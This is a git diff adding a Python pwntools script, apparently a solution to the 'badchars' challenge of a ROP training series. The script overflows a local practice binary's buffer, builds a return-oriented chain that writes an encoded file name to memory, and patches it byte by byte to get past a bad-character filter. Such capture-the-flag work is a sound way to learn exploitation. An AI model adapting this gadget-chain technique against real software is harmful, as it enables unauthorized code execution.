new file: x86_64/badchars/exploit.py

	new file:   x86_64/badchars/exploit_dirty.py
	new file:   x86_64/badchars/usefullstuff
	deleted:    x86_64/write4/.exploit.py.swp
	deleted:    x86_64/write4/.useful_gadgets.swp
	modified:   x86_64/write4/exploit.py

1 files changed, 54 insertions, 0 deletions

diff --git a/x86_64/badchars/exploit_dirty.py b/x86_64/badchars/exploit_dirty.py
new file mode 100644
index 0000000..eab68fe
--- /dev/null
+++ b/x86_64/badchars/exploit_dirty.py
@@ -0,0 +1,54 @@
+#!/usr/bin/env python3
+from pwn import *
+from time import sleep
+
+# gotta go FAST
+# i'll make it clean when I'm not pressured for time
+
+
+prog = process('./badchars')
+payload = b''
+for c in range(40):
+    payload += b'a'
+
+payload += p64(0x000000000040069c)  # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
+payload += b'fl`f-twt'
+payload += p64(0x601be0)
+payload += p64(1)
+payload += p64(0x601be2)
+
+payload += p64(0x0000000000400634) # just pops
+
+payload += p64(0x000000000040062c) # add [r15], r14
+
+payload += p64(0x00000000004006a0) # pops
+payload += p64(1)
+payload += p64(0x601be3)
+
+
+payload += p64(0x000000000040062c) # add [r15], r14
+
+payload += p64(0x00000000004006a0) # pops
+payload += p64(1)
+payload += p64(0x601be4)
+payload += p64(0x000000000040062c) # add [r15], r14
+
+
+payload += p64(0x00000000004006a0) # pops
+payload += p64(1)
+payload += p64(0x601be6)
+payload += p64(0x000000000040062c) # add [r15], r14
+
+
+payload += p64(0x00000000004006a3) # pops rdi
+payload += p64(0x601be0)
+
+payload += p64(0x0000000000400510)
+
+
+payload += b"\n"
+prog.sendline(payload)
+
+sleep(0.5)
+print(prog.recv())
+prog.close()